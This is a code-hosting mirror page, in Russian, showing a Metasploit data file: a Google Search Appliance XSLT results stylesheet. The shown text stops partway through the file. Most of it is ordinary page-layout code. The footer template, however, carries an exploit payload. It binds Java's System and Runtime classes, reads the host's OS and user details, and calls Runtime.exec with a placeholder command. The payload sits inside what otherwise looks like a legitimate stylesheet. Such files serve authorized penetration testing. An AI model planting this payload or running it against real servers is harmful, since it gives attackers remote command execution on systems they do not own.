/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
data/exploits/google_proxystylesheet.xml
2 598 строк
101 KB
HD Moore
Permission changes (to sync)
11 ноя 2011, 05:48
11 ноя 2011, 05:48
96766ed
Код
Авторство
О чём код?
<!-- *** START OF STYLESHEET *** --> <!-- ********************************************************************** XSL to format the search output for Google Search Appliance ********************************************************************** --> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:output method="html"/> <!-- ********************************************************************** Logo setup (can be customized) - whether to show logo: 0 for FALSE, 1 (or non-zero) for TRUE - logo url - logo size: '' for default image size ********************************************************************** --> <xsl:variable name="show_logo">1</xsl:variable> <xsl:variable name="logo_url">images/Title_Left.gif</xsl:variable> <xsl:variable name="logo_width">200</xsl:variable> <xsl:variable name="logo_height">78</xsl:variable> <!-- ********************************************************************** Global Style variables (can be customized): '' for using browser's default ********************************************************************** --> <xsl:variable name="global_font">arial,sans-serif</xsl:variable> <xsl:variable name="global_font_size"></xsl:variable> <xsl:variable name="global_bg_color">#ffffff</xsl:variable> <xsl:variable name="global_text_color">#000000</xsl:variable> <xsl:variable name="global_link_color">#0000cc</xsl:variable> <xsl:variable name="global_vlink_color">#551a8b</xsl:variable> <xsl:variable name="global_alink_color">#ff0000</xsl:variable> <!-- ********************************************************************** Result page components (can be customized) - whether to show a component: 0 for FALSE, non-zero (e.g., 1) for TRUE - text and style ********************************************************************** --> <!-- *** choose result page header: '', 'provided', 'mine', or 'both' *** --> <xsl:variable name="choose_result_page_header">both</xsl:variable> <!-- *** customize provided result page header *** --> <xsl:variable name="show_result_page_adv_link">1</xsl:variable> <xsl:variable name="adv_search_anchor_text">Advanced Search</xsl:variable> <xsl:variable name="show_result_page_help_link">1</xsl:variable> <xsl:variable name="search_help_anchor_text">Search Tips</xsl:variable> <!-- *** search boxes *** --> <xsl:variable name="show_top_search_box">1</xsl:variable> <xsl:variable name="show_bottom_search_box">1</xsl:variable> <xsl:variable name="search_box_size">32</xsl:variable> <!-- *** choose search button type: 'text' or 'image' *** --> <xsl:variable name="choose_search_button">text</xsl:variable> <xsl:variable name="search_button_text">Google Search</xsl:variable> <xsl:variable name="search_button_image_url"></xsl:variable> <xsl:variable name="search_subcollections_xslt"></xsl:variable> <!-- *** search info bars *** --> <xsl:variable name="show_search_info">1</xsl:variable> <!-- *** choose separation bar: 'blue', 'line', 'nothing' *** --> <xsl:variable name="choose_sep_bar">blue</xsl:variable> <!-- *** navigation bars: '', 'google', 'link', or 'simple'*** --> <xsl:variable name="show_top_navigation">0</xsl:variable> <xsl:variable name="choose_bottom_navigation">google</xsl:variable> <xsl:variable name="my_nav_align">right</xsl:variable> <xsl:variable name="my_nav_size">-1</xsl:variable> <xsl:variable name="my_nav_color">#6f6f6f</xsl:variable> <!-- *** sort by date/relevance *** --> <xsl:variable name="show_sort_by">0</xsl:variable> <!-- *** spelling suggestions *** --> <xsl:variable name="show_spelling">1</xsl:variable> <xsl:variable name="spelling_text">Did you mean:</xsl:variable> <xsl:variable name="spelling_text_color">#cc0000</xsl:variable> <!-- *** synonyms suggestions *** --> <xsl:variable name="show_synonyms">1</xsl:variable> <xsl:variable name="synonyms_text">You could also try:</xsl:variable> <xsl:variable name="synonyms_text_color">#cc0000</xsl:variable> <!-- *** keymatch suggestions *** --> <xsl:variable name="show_keymatch">1</xsl:variable> <xsl:variable name="keymatch_text">KeyMatch</xsl:variable> <xsl:variable name="keymatch_text_color">#2255aa</xsl:variable> <xsl:variable name="keymatch_bg_color">#e8e8ff</xsl:variable> <!-- ********************************************************************** Result elements (can be customized) - whether to show an element ('1' for yes, '0' for no) - font/size/color ('' for using style of the context) ********************************************************************** --> <!-- *** result title and snippet *** --> <xsl:variable name="show_res_title">1</xsl:variable> <xsl:variable name="res_title_color">#0000cc</xsl:variable> <xsl:variable name="res_title_size"></xsl:variable> <xsl:variable name="show_res_snippet">1</xsl:variable> <xsl:variable name="res_snippet_size">80%</xsl:variable> <!-- *** keyword match (in title or snippet) *** --> <xsl:variable name="res_keyword_color"></xsl:variable> <xsl:variable name="res_keyword_size"></xsl:variable> <xsl:variable name="res_keyword_format">b</xsl:variable> <!-- 'b' for bold --> <!-- *** link URL *** --> <xsl:variable name="show_res_url">1</xsl:variable> <xsl:variable name="res_url_color">#008000</xsl:variable> <xsl:variable name="res_url_size">-1</xsl:variable> <!-- *** misc elements *** --> <xsl:variable name="show_res_description">1</xsl:variable> <xsl:variable name="show_res_size">1</xsl:variable> <xsl:variable name="show_res_date">1</xsl:variable> <xsl:variable name="show_res_cache">1</xsl:variable> <!-- *** used in result cache link, similar pages link, and description *** --> <xsl:variable name="faint_color">#6f6f6f</xsl:variable> <!-- *** show secure results radio button *** --> <xsl:variable name="show_secure_radio">0</xsl:variable> <!-- ********************************************************************** Other variables (can be customized) ********************************************************************** --> <!-- *** page title *** --> <xsl:variable name="front_page_title">Search Home</xsl:variable> <xsl:variable name="result_page_title">Search Results</xsl:variable> <xsl:variable name="adv_page_title">Advanced Search</xsl:variable> <xsl:variable name="error_page_title">Error</xsl:variable> <!-- *** choose adv_search page header: '', 'provided', 'mine', or 'both' *** --> <xsl:variable name="choose_adv_search_page_header">both</xsl:variable> <!-- *** cached page header text *** --> <xsl:variable name="cached_page_header_text">This is the cached copy of </xsl:variable> <!-- *** error message text *** --> <xsl:variable name="xml_error_msg_text">Unknown XML result type.</xsl:variable> <xsl:variable name="xml_error_des_text">View page source to see the offending XML.</xsl:variable> <!-- *** advanced search page panel background color *** --> <xsl:variable name="adv_search_panel_bgcolor">#cbdced</xsl:variable> <!-- ********************************************************************** My global page header/footer (can be customized) ********************************************************************** --> <xsl:template name="my_page_header"> <!-- *** replace the following with your own xhtml code or replace the text between the xsl:text tags with html escaped html code *** --> <xsl:text disable-output-escaping="yes"> <!-- Please enter html code below. --></xsl:text> </xsl:template> <xsl:template name="my_page_footer" xmlns:sys="http://www.oracle.com/XSL/Transform/java/java.lang.System" xmlns:run="http://www.oracle.com/XSL/Transform/java/java.lang.Runtime" > <!-- Google XSLT Code Execution [metasploit] --> XSLT Version: <xsl:value-of select="system-property('xsl:version')"/> <br /> XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br /> XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> <br /> OS: <xsl:value-of select="sys:getProperty('os.name')" /> <br /> Version: <xsl:value-of select="sys:getProperty('os.version')" /> <br /> Arch: <xsl:value-of select="sys:getProperty('os.arch')" /> <br /> UserName: <xsl:value-of select="sys:getProperty('user.name')" /> <br /> UserHome: <xsl:value-of select="sys:getProperty('user.home')" /> <br /> UserDir: <xsl:value-of select="sys:getProperty('user.dir')" /> <br /> Executing command...<br /> <xsl:value-of select="run:exec(run:getRuntime(), ':x:MSF:x:')" /> <xsl:text disable-output-escaping="yes"> <!-- Please enter html code below. --></xsl:text> </span> </xsl:template> <!-- ********************************************************************** Logo template (can be customized) ********************************************************************** --> <xsl:template name="logo"> <a href="{$home_url}"><img src="{$logo_url}" width="{$logo_width}" height="{$logo_height}" alt="Go to Search Home" border="0" /></a> </xsl:template> <!-- ********************************************************************** Search result page header (can be customized): logo and search box ********************************************************************** --> <xsl:template name="result_page_header"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <xsl:if test="$show_logo != '0'"> <td rowspan="3" valign="top"> <xsl:call-template name="logo"/> <xsl:call-template name="nbsp3"/> </td> </xsl:if> <td nowrap="1"> <font size="-1"> <xsl:if test="$show_result_page_adv_link != '0'"> <a href="{$adv_search_url}"> <xsl:value-of select="$adv_search_anchor_text"/> </a> <xsl:call-template name="nbsp4"/> </xsl:if> <xsl:if test="$show_result_page_help_link != '0'"> <a href="{$help_url}"> <xsl:value-of select="$search_help_anchor_text"/> </a> </xsl:if> <br/> </font> </td> </tr> <xsl:if test="$show_top_search_box != '0'"> <tr> <td valign="middle"> <xsl:call-template name="search_box"/> </td> </tr> </xsl:if> <xsl:if test="/GSP/CT"> <tr> <td valign="top"> <br/> <xsl:call-template name="stopwords"/> <br/> </td> </tr> </xsl:if> </table> </xsl:template> <!-- ********************************************************************** Separation bar variables (used in advanced search header and result page) ********************************************************************** --> <xsl:variable name="sep_bar_bg_color"> <xsl:choose> <xsl:when test="$choose_sep_bar = 'blue'">#3366cc</xsl:when> <xsl:otherwise><xsl:value-of select="$global_bg_color"/></xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="sep_bar_text_color"> <xsl:choose> <xsl:when test="$choose_sep_bar = 'blue'">#ffffff</xsl:when> <xsl:otherwise><xsl:value-of select="$global_text_color"/></xsl:otherwise> </xsl:choose> </xsl:variable> <!-- ********************************************************************** Advanced search page header HTML (can be customized) ********************************************************************** --> <xsl:template name="advanced_search_header"> <table width="99%" border="0" cellpadding="0" cellspacing="2"> <tr> <xsl:if test="$show_logo != '0'"> <td rowspan="2" width="1%"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td align="right" valign="bottom"> <xsl:call-template name="logo"/></td> </tr> </table> </td> </xsl:if> <td valign="bottom" align="right"><font size="-1" class="p"></font></td> </tr> <tr> <td valign="middle"> <table cellspacing="2" cellpadding="2" border="0" width="100%"> <tr bgcolor="{$sep_bar_bg_color}"> <td><font face="{$global_font}" color="{$sep_bar_text_color}"> <b><xsl:call-template name="nbsp"/> <xsl:value-of select="$adv_page_title"/></b> </font> </td> </tr> </table> </td> </tr> </table> </xsl:template> <!-- ********************************************************************** Cached page header (can be customized) ********************************************************************** --> <xsl:template name="cached_page_header"> <xsl:param name="cached_page_url"/> <table border="1" width="100%"> <tr> <td> <table border="1" width="100%" cellpadding="10" cellspacing="0" bgcolor="{$global_bg_color}" color="{$global_bg_color}"> <tr> <td> <font face="{$global_font}" color="{$global_text_color}" size="-1"> <xsl:value-of select="$cached_page_header_text"/> <a href="{$cached_page_url}"><font color="{$global_link_color}"> <xsl:value-of select="$cached_page_url"/></font></a>.<br/> </font> </td> </tr> </table> </td> </tr> </table> <hr/> </xsl:template> <!-- ********************************************************************** "Front door" search input page (can be customized) ********************************************************************** --> <xsl:template name="front_door"> <html> <xsl:call-template name="langHeadStart"/> <title><xsl:value-of select="$front_page_title"/></title> <xsl:call-template name="style"/> <xsl:call-template name="langHeadEnd"/> <body> <xsl:call-template name="my_page_header"/> <xsl:call-template name="result_page_header"/> <hr/> <xsl:call-template name="copyright"/> <xsl:call-template name="my_page_footer"/> </body> </html> </xsl:template> <!-- ********************************************************************** Empty result set (can be customized) ********************************************************************** --> <xsl:template name="no_RES"> <xsl:param name="query"/> <span class="p"> <br/> Your search - <b><xsl:value-of disable-output-escaping="yes" select="$query"/></b> - did not match any documents. <br/> No pages were found containing <b>"<xsl:value-of disable-output-escaping="yes" select="$query"/>"</b>. <br/> <br/> Suggestions: <ul> <li>Make sure all words are spelled correctly.</li> <li>Try different keywords.</li> <li>Try more general keywords.</li> </ul> </span> </xsl:template> <!-- ###################################################################### We do not recommend changes to the following code. Google Technical Support Personnel currently do not support customization of XSLT under these Technical Support Services Guidelines. Such services may be provided on a consulting basis, at Google's then-current consulting services rates under a separate agreement, if Google personnel are available. Please ask your Google Account Manager for more details if you are interested in purchasing consulting services. ###################################################################### --> <!-- ********************************************************************** Global Style (do not customize) default font type/size/color, background color, link color using HTML CSS (Cascading Style Sheets) ********************************************************************** --> <xsl:template name="style"> <style> <xsl:comment> body,.d,.p,.s{background-color:<xsl:value-of select="$global_bg_color"/>} body,td,div,.p,a,.d,.s{font-family:<xsl:value-of select="$global_font"/>} body,td,div,.p,a,.d{font-size: <xsl:value-of select="$global_font_size"/>} body,div,td,.p,.s{color:<xsl:value-of select="$global_text_color"/>} .s,.f,.f a{font-size: <xsl:value-of select="$res_snippet_size"/>} .l{font-size: <xsl:value-of select="$res_title_size"/>} .l{color: <xsl:value-of select="$res_title_color"/>} a:link,.w,.w a:link{color:<xsl:value-of select="$global_link_color"/>} a:visited,.f a:visited{color:<xsl:value-of select="$global_vlink_color"/>} a:active,.f a:active{color:<xsl:value-of select="$global_alink_color"/>} .t{color:<xsl:value-of select="$sep_bar_text_color"/>} .t{background-color:<xsl:value-of select="$sep_bar_bg_color"/>} .z{display:none} .f,.f:link,.f a:link{color:<xsl:value-of select="$faint_color"/>} .i,.i:link{color:#a90a08} .a,.a:link{color:<xsl:value-of select="$res_url_color"/>} div.n {margin-top: 1ex} .n a{font-size: 10pt; color:<xsl:value-of select="$global_text_color"/>} .n .i{font-size: 10pt; font-weight:bold} .q a:visited,.q a:link,.q a:active,.q {text-decoration: none; color:#0000cc;} .b,.b a{font-size: 12pt; color:#0000cc; font-weight:bold} .d{font-family:<xsl:value-of select="$global_font"/>; margin-right:1em; margin-left:1em;} </xsl:comment> </style> </xsl:template> <!-- ********************************************************************** URL variables (do not customize) ********************************************************************** --> <!-- *** help_url: search tip URL (html file) *** --> <xsl:variable name="help_url">/basics.html</xsl:variable> <!-- *** base_url: collection info *** --> <xsl:variable name="base_url"><xsl:for-each select="/GSP/PARAM[@name = 'client' or @name = 'site' or @name = 'num' or @name = 'output' or @name = 'proxystylesheet' or @name = 'sitesearch' or @name = 'access' or (@name = 'restrict' and $search_subcollections_xslt = '') or @name = 'lr' or @name = 'ie' or @name = 'oe']"><xsl:value-of select="@name" />=<xsl:value-of select="@original_value" /><xsl:if test="position() != last()">&</xsl:if></xsl:for-each> </xsl:variable> <!-- *** home_url: /search? + collection info + &proxycustom=<HOME/> *** --> <xsl:variable name="home_url">/search?<xsl:value-of select="$base_url" />&proxycustom=<HOME/></xsl:variable> <!-- *** nav_url: does not include q, as_, start elements *** --> <xsl:variable name="nav_url"><xsl:for-each select="/GSP/PARAM[(@name != 'q') and not(contains(@name, 'as_')) and (@name != 'start')]"> <xsl:value-of select="@name"/><xsl:text>=</xsl:text> <xsl:value-of select="@original_value"/> <xsl:if test="position() != last()"> <xsl:text disable-output-escaping="yes">&</xsl:text> </xsl:if> </xsl:for-each> </xsl:variable> <!-- *** synonym_url: does not include q, as_q, and start elements *** --> <xsl:variable name="synonym_url"><xsl:for-each select="/GSP/PARAM[(@name != 'q') and (@name != 'as_q') and (@name != 'start')]"> <xsl:value-of select="@name"/><xsl:text>=</xsl:text> <xsl:value-of select="@original_value"/> <xsl:if test="position() != last()"> <xsl:text disable-output-escaping="yes">&</xsl:text> </xsl:if> </xsl:for-each> </xsl:variable> <!-- *** search_url: $nav_url + query elements *** --> <xsl:variable name="search_url"><xsl:for-each select="/GSP/PARAM[(@name != 'start')]"> <xsl:value-of select="@name"/><xsl:text>=</xsl:text> <xsl:value-of select="@original_value"/> <xsl:if test="position() != last()"> <xsl:text disable-output-escaping="yes">&</xsl:text> </xsl:if> </xsl:for-each> </xsl:variable> <!-- *** filter_url: everything except resetting "filter=" *** --> <xsl:variable name="filter_url">/search?<xsl:for-each select="/GSP/PARAM[(@name != 'filter')]"> <xsl:value-of select="@name"/><xsl:text>=</xsl:text> <xsl:value-of select="@original_value"/> <xsl:text disable-output-escaping="yes">&</xsl:text> </xsl:for-each><xsl:text>filter=</xsl:text> </xsl:variable> <!-- *** adv_search_url: /search? + $search_url + as_q=$q *** --> <xsl:variable name="adv_search_url">/search?<xsl:value-of select="$search_url"/>&proxycustom=<ADVANCED/></xsl:variable> <!-- ********************************************************************** Search Parameters (do not customize) ********************************************************************** --> <!-- *** num_results: actual num_results per page *** --> <xsl:variable name="num_results"> <xsl:choose> <xsl:when test="/GSP/PARAM[(@name='num') and (@value!='')]"> <xsl:value-of select="/GSP/PARAM[@name='num']/@value"/> </xsl:when> <xsl:otherwise> <xsl:value-of select="10"/> </xsl:otherwise> </xsl:choose> </xsl:variable> <!-- *** form_params: parameters carried by the search input form *** --> <xsl:template name="form_params"> <xsl:for-each select="PARAM[@name != 'q' and not(contains(@name, 'as_')) and @name != 'btnG' and @name != 'btnI' and @name != 'filter' and @name != 'start' and @name != 'access' and @name != 'ip']"> <xsl:if test="@name != 'restrict' or $search_subcollections_xslt = ''"> <input type="hidden" name="{@name}" value="{@value}" /> </xsl:if> <xsl:text> </xsl:text> </xsl:for-each> </xsl:template> <!-- *** html_escaped_query: q = /GSP/Q *** --> <xsl:variable name="qval"> <xsl:value-of select="/GSP/Q"/> </xsl:variable> <xsl:variable name="html_escaped_query"> <xsl:value-of select="normalize-space($qval)" disable-output-escaping="yes"/> </xsl:variable> <!-- *** stripped_search_query: q, as_q, ... for cache highlight *** --> <xsl:variable name="stripped_search_query"><xsl:for-each select="/GSP/PARAM[(@name = 'q') or (@name = 'as_q') or (@name = 'as_oq') or (@name = 'as_epq')]"><xsl:value-of select="@original_value" /><xsl:if test="position() != last()" ><xsl:text disable-output-escaping="yes">+</xsl:text ></xsl:if></xsl:for-each> </xsl:variable> <xsl:variable name="access"> <xsl:choose> <xsl:when test="/GSP/PARAM[(@name='access') and ((@value='s') or (@value='a'))]"> <xsl:value-of select="/GSP/PARAM[@name='access']/@original_value"/> </xsl:when> <xsl:otherwise>p</xsl:otherwise> </xsl:choose> </xsl:variable> <!-- ********************************************************************** Figure out what kind of page this is (do not customize) ********************************************************************** --> <xsl:template match="GSP"> <xsl:choose> <xsl:when test="Q"> <xsl:call-template name="search_results"/> </xsl:when> <xsl:when test="CACHE"> <xsl:call-template name="cached_page"/> </xsl:when> <xsl:when test="CUSTOM/HOME"> <xsl:call-template name="front_door"/> </xsl:when> <xsl:when test="CUSTOM/ADVANCED"> <xsl:call-template name="advanced_search"/> </xsl:when> <xsl:when test="H1"> <xsl:call-template name="server_error"/> </xsl:when> <xsl:otherwise> <xsl:call-template name="error_page"> <xsl:with-param name="errorMessage" select="$xml_error_msg_text"/> <xsl:with-param name="errorDescription" select="$xml_error_des_text"/> </xsl:call-template> </xsl:otherwise> </xsl:choose> </xsl:template> <!-- ********************************************************************** Cached page (do not customize) ********************************************************************** --> <xsl:template name="cached_page"> <xsl:variable name="cached_page_url" select="CACHE/CACHE_URL"/> <xsl:variable name="cached_page_html" select="CACHE/CACHE_HTML"/> <!-- *** decide whether to load html page or pdf file *** --> <xsl:if test="'.pdf' != substring($cached_page_url, 1 + string-length($cached_page_url) - string-length('.pdf'))"> <base href="{$cached_page_url}"/> </xsl:if> <!-- *** display cache page header *** --> <xsl:call-template name="cached_page_header"> <xsl:with-param name="cached_page_url" select="$cached_page_url"/> </xsl:call-template> <!-- *** display cached contents *** --> <xsl:value-of select="$cached_page_html" disable-output-escaping="yes"/> </xsl:template> <xsl:template name="escape_quot"> <xsl:param name="string"/> <xsl:call-template name="replace_string"> <xsl:with-param name="find" select="'"'"/> <xsl:with-param name="replace" select="'&quot;'"/> <xsl:with-param name="string" select="$string"/> </xsl:call-template> </xsl:template> <!-- ********************************************************************** Advanced search page (do not customize) ********************************************************************** --> <xsl:template name="advanced_search"> <xsl:variable name="html_escaped_as_q"> <xsl:call-template name="escape_quot"> <xsl:with-param name="string" select="/GSP/PARAM[@name='q']/@value"/> </xsl:call-template> <xsl:call-template name="escape_quot"> <xsl:with-param name="string" select="/GSP/PARAM[@name='as_q']/@value"/> </xsl:call-template> </xsl:variable> <xsl:variable name="html_escaped_as_epq"> <xsl:call-template name="escape_quot"> <xsl:with-param name="string" select="/GSP/PARAM[@name='as_epq']/@value"/> </xsl:call-template> </xsl:variable> <xsl:variable name="html_escaped_as_oq"> <xsl:call-template name="escape_quot"> <xsl:with-param name="string" select="/GSP/PARAM[@name='as_oq']/@value"/> </xsl:call-template> </xsl:variable> <xsl:variable name="html_escaped_as_eq"> <xsl:call-template name="escape_quot"> <xsl:with-param name="string" select="/GSP/PARAM[@name='as_eq']/@value"/> </xsl:call-template> </xsl:variable> <html> <xsl:call-template name="langHeadStart"/> <title><xsl:value-of select="$adv_page_title"/></title> <xsl:call-template name="style"/> <!-- script type="text/javascript" --> <script> <xsl:comment> function setFocus() { document.f.as_q.focus(); } function esc(x){ x = escape(x).replace(/\+/g, "%2b"); if (x.substring(0,2)=="\%u") x=""; return x; } function collecturl(target, custom) { var p = new Array();var i = 0;var url="";var z = document.f; if (z.as_q.value.length) {p[i++] = 'as_q=' + esc(z.as_q.value);} if (z.as_epq.value.length) {p[i++] = 'as_epq=' + esc(z.as_epq.value);} if (z.as_oq.value.length) {p[i++] = 'as_oq=' + esc(z.as_oq.value);} if (z.as_eq.value.length) {p[i++] = 'as_eq=' + esc(z.as_eq.value);} if (z.as_sitesearch.value.length) {p[i++]='as_sitesearch='+esc(z.as_sitesearch.value);} if (z.as_lq.value.length) {p[i++] = 'as_lq=' + esc(z.as_lq.value);} if (z.as_occt.options[z.as_occt.selectedIndex].value.length) {p[i++]='as_occt='+esc(z.as_occt.options[z.as_occt.selectedIndex].value);} if (z.as_dt.options[z.as_dt.selectedIndex].value.length) {p[i++]='as_dt='+esc(z.as_dt.options[z.as_dt.selectedIndex].value);} if (z.lr.options[z.lr.selectedIndex].value != '') {p[i++] = 'lr=' + z.lr.options[z.lr.selectedIndex].value;} if (z.num.options[z.num.selectedIndex].value != '10') {p[i++] = 'num=' + z.num.options[z.num.selectedIndex].value;} if (z.sort.options[z.sort.selectedIndex].value != '') {p[i++] = 'sort=' + z.sort.options[z.sort.selectedIndex].value;} if (typeof(z.client) != 'undefined') {p[i++] = 'client=' + esc(z.client.value);} if (typeof(z.site) != 'undefined') {p[i++] = 'site=' + esc(z.site.value);} if (typeof(z.output) != 'undefined') {p[i++] = 'output=' + esc(z.output.value);} if (typeof(z.proxystylesheet) != 'undefined') {p[i++] = 'proxystylesheet=' + esc(z.proxystylesheet.value);} if (typeof(z.ie) != 'undefined') {p[i++] = 'ie=' + esc(z.ie.value);} if (typeof(z.oe) != 'undefined') {p[i++] = 'oe=' + esc(z.oe.value);} if (typeof(z.restrict) != 'undefined') {p[i++] = 'restrict=' + esc(z.restrict.value);} if (typeof(z.access) != 'undefined') {p[i++] = 'access=' + esc(z.access.value);} if (custom != '') {p[i++] = 'proxycustom=' + '<ADVANCED/>';} if (p.length > 0) { url = p[0]; for (var j = 1; j < p.length; j++) { url += "&" + p[j]; }} location.href = target + '?' + url; } // </xsl:comment> </script> <xsl:call-template name="langHeadEnd"/> <body class="d" onload="setFocus()"> <!-- *** Customer's own advanced search page header *** --> <xsl:if test="$choose_adv_search_page_header = 'mine' or $choose_adv_search_page_header = 'both'"> <xsl:call-template name="my_page_header"/> </xsl:if> <!--====Advanced Search Header======--> <xsl:if test="$choose_adv_search_page_header = 'provided' or $choose_adv_search_page_header = 'both'"> <xsl:call-template name="advanced_search_header"/> </xsl:if> <!--====Carry over Search Parameters======--> <form method="get" action="/search" name="f"> <xsl:if test="PARAM[@name='client']"> <input type="hidden" name="client" value="{PARAM[@name='client']/@value}" /> </xsl:if> <xsl:if test="PARAM[@name='site']"> <input type="hidden" name="site" value="{PARAM[@name='site']/@value}"/> </xsl:if> <xsl:if test="PARAM[@name='output']"> <input type="hidden" name="output" value="{PARAM[@name='output']/@value}" /> </xsl:if> <xsl:if test="PARAM[@name='proxystylesheet']"> <input type="hidden" name="proxystylesheet" value="{PARAM[@name='proxystylesheet']/@value}" /> </xsl:if> <xsl:if test="PARAM[@name='ie']"> <input type="hidden" name="ie" value="{PARAM[@name='ie']/@value}" /> </xsl:if> <xsl:if test="PARAM[@name='oe']"> <input type="hidden" name="oe" value="{PARAM[@name='oe']/@value}" /> </xsl:if> <xsl:if test="PARAM[@name='restrict'] and $search_subcollections_xslt = ''"> <input type="hidden" name="restrict" value="{PARAM[@name='restrict']/@value}" /> </xsl:if> <!--====Advanced Search Options======--> <table cellpadding="6" cellspacing="0" border="0" width="99%"> <tr> <td><b>Advanced Web Search</b></td> </tr> </table> <table cellspacing="0" cellpadding="3" border="0" width="99%"> <tr bgcolor="{$adv_search_panel_bgcolor}"> <td> <table width="100%" cellspacing="0" cellpadding="0" border="0"> <tr bgcolor="{$adv_search_panel_bgcolor}"> <td> <table width="100%" cellspacing="0" cellpadding="2" border="0"> <tr> <td valign="top" width="15%"><font size="-1"><br /> <b>Find results</b></font> </td> <td width="85%"> <table width="100%" cellpadding="2" border="0" cellspacing="0"> <tr> <td><font size="-1">with <b>all</b> of the words</font></td> <td> <xsl:text disable-output-escaping="yes"> <input type="text" name="as_q" size="25" value="</xsl:text> <xsl:value-of disable-output-escaping="yes" select="$html_escaped_as_q"/> <xsl:text disable-output-escaping="yes">"></xsl:text> <script type="text/javascript"> <xsl:comment> document.f.as_q.focus(); // </xsl:comment> </script> </td> <td valign="top" rowspan="4"> <font size="-1"> <select name="num"> <xsl:choose> <xsl:when test="PARAM[(@name='num') and (@value!='10')]"> <option value="10">10 results</option> </xsl:when> <xsl:otherwise> <option value="10" selected="selected">10 results</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='num') and (@value='20')]"> <option value="20" selected="selected">20 results</option> </xsl:when> <xsl:otherwise> <option value="20">20 results</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='num') and (@value='30')]"> <option value="30" selected="selected">30 results</option> </xsl:when> <xsl:otherwise> <option value="30">30 results</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='num') and (@value='50')]"> <option value="50" selected="selected">50 results</option> </xsl:when> <xsl:otherwise> <option value="50">50 results</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='num') and (@value='100')]"> <option value="100" selected="selected">100 results</option> </xsl:when> <xsl:otherwise> <option value="100">100 results</option> </xsl:otherwise> </xsl:choose> </select> </font> </td> <xsl:call-template name="subcollection_menu"/> <td> <font size="-1"> <input type="submit" name="btnG" value="{$search_button_text}" /> </font> </td> </tr> <tr> <td nowrap="nowrap"><font size="-1">with the <b>exact phrase</b></font></td> <td> <xsl:text disable-output-escaping="yes"> <input type="text" name="as_epq" size="25" value="</xsl:text> <xsl:value-of disable-output-escaping="yes" select="$html_escaped_as_epq"/> <xsl:text disable-output-escaping="yes">"></xsl:text> </td> </tr> <tr> <td nowrap="nowrap"><font size="-1">with <b>any</b> of the words</font></td> <td> <xsl:text disable-output-escaping="yes"> <input type="text" name="as_oq" size="25" value="</xsl:text> <xsl:value-of disable-output-escaping="yes" select="$html_escaped_as_oq"/> <xsl:text disable-output-escaping="yes">"></xsl:text> </td> </tr> <tr> <td nowrap="nowrap"><font size="-1"><b>without</b> the words</font></td> <td> <xsl:text disable-output-escaping="yes"> <input type="text" name="as_eq" size="25" value="</xsl:text> <xsl:value-of disable-output-escaping="yes" select="$html_escaped_as_eq"/> <xsl:text disable-output-escaping="yes">"></xsl:text> </td> </tr> </table> </td> </tr> </table> </td> </tr> <tr bgcolor="{$global_bg_color}"> <td> <table width="100%" cellspacing="0" cellpadding="2" border="0"> <tr> <td width="15%"><font size="-1"><b>Language</b></font></td> <td width="40%"><font size="-1">Return pages written in</font></td> <td><font size="-1"> <xsl:choose> <xsl:when test="PARAM[(@name='oe') and (@value!='')]"> <xsl:text disable-output-escaping="yes"><select name="lr"></xsl:text> </xsl:when> <xsl:otherwise> <xsl:text disable-output-escaping="yes"><select name="lr" onchange="javascript:collecturl('/search', 'adv');"></xsl:text> </xsl:otherwise> </xsl:choose> <option value="">any language</option> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_zh-CN')]"> <option value="lang_zh-CN" selected="selected">Chinese (Simplified)</option> </xsl:when> <xsl:otherwise> <option value="lang_zh-CN">Chinese (Simplified)</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_zh-TW')]"> <option value="lang_zh-TW" selected="selected">Chinese (Traditional)</option> </xsl:when> <xsl:otherwise> <option value="lang_zh-TW">Chinese (Traditional)</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_cs')]"> <option value="lang_cs" selected="selected">Czech</option> </xsl:when> <xsl:otherwise> <option value="lang_cs">Czech</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_da')]"> <option value="lang_da" selected="selected">Danish</option> </xsl:when> <xsl:otherwise> <option value="lang_da">Danish</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_nl')]"> <option value="lang_nl" selected="selected">Dutch</option> </xsl:when> <xsl:otherwise> <option value="lang_nl">Dutch</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_en')]"> <option value="lang_en" selected="selected">English</option> </xsl:when> <xsl:otherwise> <option value="lang_en">English</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_et')]"> <option value="lang_et" selected="selected">Estonian</option> </xsl:when> <xsl:otherwise> <option value="lang_et">Estonian</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_fi')]"> <option value="lang_fi" selected="selected">Finnish</option> </xsl:when> <xsl:otherwise> <option value="lang_fi">Finnish</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_fr')]"> <option value="lang_fr" selected="selected">French</option> </xsl:when> <xsl:otherwise> <option value="lang_fr">French</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_de')]"> <option value="lang_de" selected="selected">German</option> </xsl:when> <xsl:otherwise> <option value="lang_de">German</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_el')]"> <option value="lang_el" 